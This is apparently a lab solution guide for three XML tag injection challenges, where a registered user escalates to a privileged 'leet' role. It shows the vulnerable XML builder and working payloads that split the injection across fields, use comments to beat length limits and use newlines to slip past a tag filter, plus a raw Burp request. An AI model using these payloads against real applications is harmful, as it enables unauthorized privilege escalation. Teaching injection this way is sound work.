Warm-up: Lab XML Injection L1
Easy: Lab XML Injection L2
Medium: Lab XML Injection L3
Below, you can find solutions for each task. Remember, though, that you can follow your own strategy, which may be different from the one explained in the following lab.
NOTE: The techniques used during this lab are better explained in the study material. You should refer to it for further details. These solutions are provided here only to verify the correctness.
Simple XML TAG injection exploitation warm-up: *D0 u w@nn@ b3 a l33t m3mb3r?*
There are two types of users: leet and looser. By default, every new user is a looser. Find a way to become a leet member.
A valid XML structure is reported in the core.js file within the function `WSregister__old`.
As you can see in the previous implementation, the developers used a different approach that helps us to detect the XML structure in this scenario.
function WSregister__old() {
...
var xml = '<?xml version="1.0" encoding="utf-8"?> ';
xml += '<user> ';
xml += ' <role>2</role> ';
xml += ' <name>' + name + '</name> ';
xml += ' <username>' + username + '</username> ';
xml += ' <password>' + password + '</password> ';
xml += '</user> ';
...
}
Testing parameter name Registering
If we register a user, we can see that its name is echoed back in the welcome message and is encoded with htmlspecialchars.
Furthermore, if we try to inject some tags (e.g.,
Testing parameter password
If we adopt the same approach with the password, we can see that even the password is not injectable!
Testing parameter username
The only injectable parameter is the username.
If we take advantage of the XML structure found in the core.js file we could easily inject our leet user as follows:
name: useless
username: useless</username></user><user><rule>1</rule><name>l33t</name><username>l33t
password: l33t
The leet login will be:
username: l33t
password: l33t
Simple XML TAG injection exploitation with length limitation: *Does Length Matter?*
There are two types of users: leet and looser. By default, every new user is a looser. Find a way to become a leet member.
A valid XML structure is reported in the core.js file within the function WSregister__old.
As you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.
function WSregister__old() {
...
var xml = '<?xml version="1.0" encoding="utf-8"?> ';
xml += '<user> ';
xml += ' <role>2</role> ';
xml += ' <name>' + name + '</name> ';
xml += ' <username>' + username + '</username> ';
xml += ' <password>' + password + '</password> ';
xml += '</user> ';
...
}
Testing parameter name
Registering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars.
If we try to inject some tags (e.g.,
Opening and ending tag mismatch ...
Testing parameter username
If we adopt the same approach as before, we can see that even the username is injectable!
Testing parameter password
If we adopt the same approach as before, we can see that the password is not injectable!
Length limitations
We notice that the name and username have length limitations of 35 characters.
In fact, if we try to inject something longer, the application cuts/truncates our input.
Since we have two injection points, to bypass this limitation we can split and inject our payload in the two places:
name: </name></user><user><rule>1<!--
username: --></rule><name>x</name><username>x
password: l33t
The leet login will be:
username: x
password: l33t
XML TAG injection exploitation with length limitation and filters: *If you're tired .. have a break!*
There are two types of users: leet and looser. By default, every new user is a looser. Find a way to become a leet member.
A valid XML structure is reported in the core.js file within the function WSregister__old.
As you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.
function WSregister__old() {
...
var xml = '<?xml version="1.0" encoding="utf-8"?> ';
xml += '<user> ';
xml += ' <role>2</role> ';
xml += ' <name>' + name + '</name> ';
xml += ' <username>' + username + '</username> ';
xml += ' <password>' + password + '</password> ';
xml += '</user> ';
...
}
Testing parameter name
Registering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars. But, if we try to inject some tags (e.g., Opening and ending tag mismatch ...
Testing parameter name
If we adopt the same approach as before, we can see that even the username is injectable!
Testing parameter password
If we adopt the same approach as before, we can see that the password is not injectable!
Length limitations
We notice that name and username have length limitations of 34 characters.
In fact, if we try to inject something longer, the application cuts/truncates our input.
Since we have two injection points, to bypass this limitation we can split and inject our payload in the two places:
name: </name></user><user><rule>1<!--
username: --></rule><name></name><username>x
password: l33t
Bypassing Filters
Bypassing length limitations is not enough. The application implements some filters against the XML TAG injection that blocks the previous payload.
In this case, if the filter detects some dangerous elements, it shows a message like the following:
So you wanna be a l33t member so easily?! ಠ_ಠ
Injecting some metacharacters, we can see that &, \ , , , " , ' are filtered but < and > are not!
There is another filter that blocks the
The check is case-insensitive, and it seems that spaces and tabs are ignored between the tag name and the close tag character, but if we inject a new line, it is not filtered!
So the exploitation could be the following:
name: </name></user><user><rule{NEW_LINE}>1<!--
username: --></rule{NEW_LINE}><name></name><username>x
password: l33t
Now the username has a length of 35; injecting this payload, we would have an empty username and thus an invalid login.
We need to remove something from the payload, and the
The working exploit is:
name: </name></user><user><rule{NEW_LINE}>1<!--
username: --></rule{NEW_LINE}><username>l33t
password: l33t
Inside burp the request should look as follows:
POST /add_new.php HTTP/1.1
...
name=</name></user><user><rule
>1<!--&user=--></rule
><username>l33t&password=l33t
The leet login will be:
username: l33t
password: l33t